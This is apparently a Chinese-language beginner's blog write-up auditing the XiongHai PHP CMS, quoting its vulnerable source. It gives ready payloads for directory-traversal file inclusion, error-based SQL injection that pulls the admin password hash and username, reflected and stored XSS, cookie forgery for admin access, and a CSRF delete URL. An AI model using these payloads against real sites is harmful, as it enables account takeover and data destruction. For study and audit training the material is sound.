一、前言
简单了解了一下,审计入门,熊海比较适合,因为是简单的 cms,适合入门。
二、审计环境
使用小皮面板,新建网站
三、审计过程
先了解文件目录
admin --管理后台文件夹
css --存放css的文件夹
files --存放页面的文件夹
images --存放图片的文件夹
inc --存放网站配置文件的文件夹
install --网站进行安装的文件夹
seacmseditor --编辑器文件夹
template --模板文件夹
upload --上传功能文件夹
index.php --网站首页
复制代码
先把网站源码放到 seay 里面,自动审计一下。
可以看到,可疑漏洞挺多的,然后对比着代码进行一一核实
文件包含漏洞
**index.php**
<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>
复制代码
GET 传值 r,用函数addslashes
转义我们传入的值,防止命令执行,但是这显然是不够的,这里对文件包含漏洞是没有用任何限制的。这里可以直接包含到files
文件夹下的文件,但是也可以通过目录穿越,包含到根目录。我们在files
文件夹下新建一个phpinfo.php
payload:
?r=phpinfo //包含files文件夹下的phpinfo()
?r=../phpinfo //包含根目录的phpinfo()
复制代码
第二处 /admin/index.php
也是同理 同样的代码,同样的包含。
【所有资源,点击查看】1、网络安全学习路线 2、电子书籍(白帽子)3、安全大厂内部视频 4、100 份 src 文档 5、常见安全面试题 6、ctf 大赛经典题目解析 7、全套工具包 8、应急响应笔记
SQL 注入漏洞
SQL 注入一般存在于登录框这里,我们直接看后台登陆框的源码**admin/files/login.php**
后台注入
<?php
ob_start();
require '../inc/conn.php';
$login=$_POST['login'];
$user=$_POST['user'];
$password=$_POST['password'];
$checkbox=$_POST['checkbox'];
if ($login<>""){
$query = "SELECT * FROM manage WHERE user='$user'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$users = mysql_fetch_array($result);
if (!mysql_num_rows($result)) {
echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";
exit;
}else{
$passwords=$users['password'];
if(md5($password)<>$passwords){
echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";
exit;
}
?>
复制代码
大致看了看代码:user 和 password 接受我们 POST 传值,没有任何过滤,直接插入到查询语句中。先在数据库中查询 user 是否存在,如果不存在就报错,而且mysql_error()
是开着的,可以报错注入,如果 user 存在的话就对我们的传入的 password 进行 md5 散列和数据库中的 password 进行比较,如果相等,则登陆成功。经过一番分析,存在报错注入,万能密码无法登录,因为对 password 进行 md5 散列,与数据库中进行对比。
漏洞复现:正常的报错注入1' or updatexml(1,concat((select concat(0x7e,password) from manage)),0) #
1' or updatexml(1,concat((select concat(password,0x7e) from manage)),0) #
确实存在将两段得到的 MD5 的值拼起来进行 MD5 爆破即可得出 password 明文,之后查询 user1' or updatexml(1,concat((select concat(0x7e,user) from manage)),0) #
即可进行登录。然后我们查看别处**/admin/files/softlist**
$delete=$_GET['delete'];
if ($delete<>""){
$query = "DELETE FROM download WHERE id='$delete'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
echo "<script>alert('亲,ID为".$delete."的内容已经成功删除!');location.href='?r=softlist'</script>";
exit;
}
复制代码
依旧是开了mysql_error()
且无过滤,注入同上**/admin/files/editlink.php**
$id=$_GET['id'];
$query = "SELECT * FROM link WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$link = mysql_fetch_array($resul);
复制代码
类型同上,不再赘述。发现,好像这个 cms 涉及 sql 的均未过滤且可进行报错注入。这可能就是这个 cms 适合审计小白的原因了吧以为这个 cms 的 SQL 注入到此结束了,后来看了大佬的资料,发现还有两处特别之处,值得一提(对于审计小白)。
**/files/software.php**
前台注入
$id=addslashes($_GET['cid']);
$query = "SELECT * FROM download WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$download = mysql_fetch_array($resul);
复制代码
这里面引用了函数addslashes
进行过滤关于addslashes
函数 addslashes()作用是返回在预定义字符之前添加反斜杠的字符串。预定义字符是单引号(')双引号(")反斜杠(\)NULL。
在官网中有这样的注释
默认情况下,PHP 指令 magic_quotes_gpc 为 on,对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。不要对已经被 magic_quotes_gpc 转义过的字符串使用 addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。
因为这里被 GET 传值就已经默认运行addslashes()
,所以再次使用addslashes()
就不起作用了,所以依旧还是可以进行报错注入。payload:?r=content&cid=1%20or(updatexml(1,concat(0x7e,(select%20version()),0x7e),1))
** /install/index.php **
安装流程存在 SQL 注入 ,代码如下
$query = "UPDATE manage SET user='$user',password='$password',name='$user'";
@mysql_query($query) or die('修改错误:'.mysql_error());
echo "管理信息已经成功写入!
";
复制代码
没有过滤,mysql_error()
开着,依旧可以考虑报错注入。参阅大佬的文章首先要对InstallLock.txt
文件锁进行删除重新安装的时候在 user 处报错注入 payload;1' extractvalue(1,concat(0x7e,(select @@version),0x7e))#
这个 cms 的 SQL 注入就到此结束了
XSS 漏洞
反射型 XSS
**/files/contact.php**
$page=addslashes($_GET['page']); //59行
<?php echo $page?> //139行
复制代码
payload:<img src=1 onerror=alert(/xss/)>
当然还有许多的反射型 XSS,这里就不一一列举了,根上面这个,基本大差不差。
存储型 XSS
**/admin/files/manageinfo.php**
$save=$_POST['save'];
$user=$_POST['user'];
$name=$_POST['name'];
$password=$_POST['password'];
$password2=$_POST['password2'];
$img=$_POST['img'];
$mail=$_POST['mail'];
$qq=$_POST['qq'];
if ($save==1){
if ($user==""){
echo "<script>alert('抱歉,帐号不能为空。');history.back()</script>";
exit;
}
if ($name==""){
echo "<script>alert('抱歉,名称不能为空。');history.back()</script>";
exit;
}
if ($password<>$password2){
echo "<script>alert('抱歉,两次密码输入不一致!');history.back()</script>";
exit;
}
//处理图片上传
if(!empty($_FILES['images']['tmp_name'])){
$query = "SELECT * FROM imageset";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$imageset = mysql_fetch_array($result);
include '../inc/up.class.php';
if (empty($HTTP_POST_FILES['images']['tmp_name']))//判断接收数据是否为空
{
$tmp = new FileUpload_Single;
$upload="../upload/touxiang";//图片上传的目录,这里是当前目录下的upload目录,可自已修改
$tmp -> accessPath =$upload;
if ( $tmp -> TODO() )
{
$filename=$tmp -> newFileName;//生成的文件名
$filename=$upload.'/'.$filename;
$imgsms="及图片";
}
}
}
if ($filename<>""){
$images="img='$filename',";
}
if ($password<>""){
$password=md5($password);
$password="password='$password',";
}
$query = "UPDATE manage SET
user='$user',
name='$name',
$password
$images
mail='$mail',
qq='$qq',
date=now()";
@mysql_query($query) or die('修改错误:'.mysql_error());
echo "<script>alert('亲爱的,资料".$imgsms."设置已成功更新!');location.href='?r=manageinfo'</script>";
exit;
}
?>
复制代码
POST 传参,但是无任何过滤,直接根数据库进行交互,存在存储型 XSSpayload:<img src=1 onerror=alert(/xss/)>
垂直越权
**inc/checklogin.php**
中
<?php
$user=$_COOKIE['user'];
if ($user==""){
header("Location: ?r=login");
exit;
}
?>
复制代码
如果 COOKIE 中 user 为空,跳转到登陆窗。这种就是最简单的垂直越权。
我们访问http://www.xionghai.com/admin/index.php抓包查看,这种情况,COOKIE 中无 user 参数
当我们修改 COOKIE 值后
越权就成功了,我们就可以访问管理页面了。
CSRF 漏洞
举例/admin/files/wzlist.php
$delete=$_GET['delete'];
if ($delete<>""){
$query = "DELETE FROM content WHERE id='$delete'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
echo "<script>alert('亲,ID为".$delete."的内容已经成功删除!');location.href='?r=wzlist'</script>";
exit;
复制代码
可以看见是没有任何验证的
然后我们进行一下 delete 操作
然后抓包看一下
其 payloadwww.xionghai.com/admin/?r=wzlist&delete=18
然后我们换个浏览器,来访问这个 payload,并且抓包,在 Cookie 处,添加 user 的值为 admin
可以发现 CSRF 攻击成功
**admin/files/softlist.php**
依旧存在 CSRF,做法同上。
四、总结
到此,这个 cms 的审计就差不多结束了。总的来看,因为这个 cms 是个人开发的,并且很长时间没有更新过,审计过程中,基本上所有的漏洞都没有过滤。这也许就是它适合我这种小白的原因吧。
评论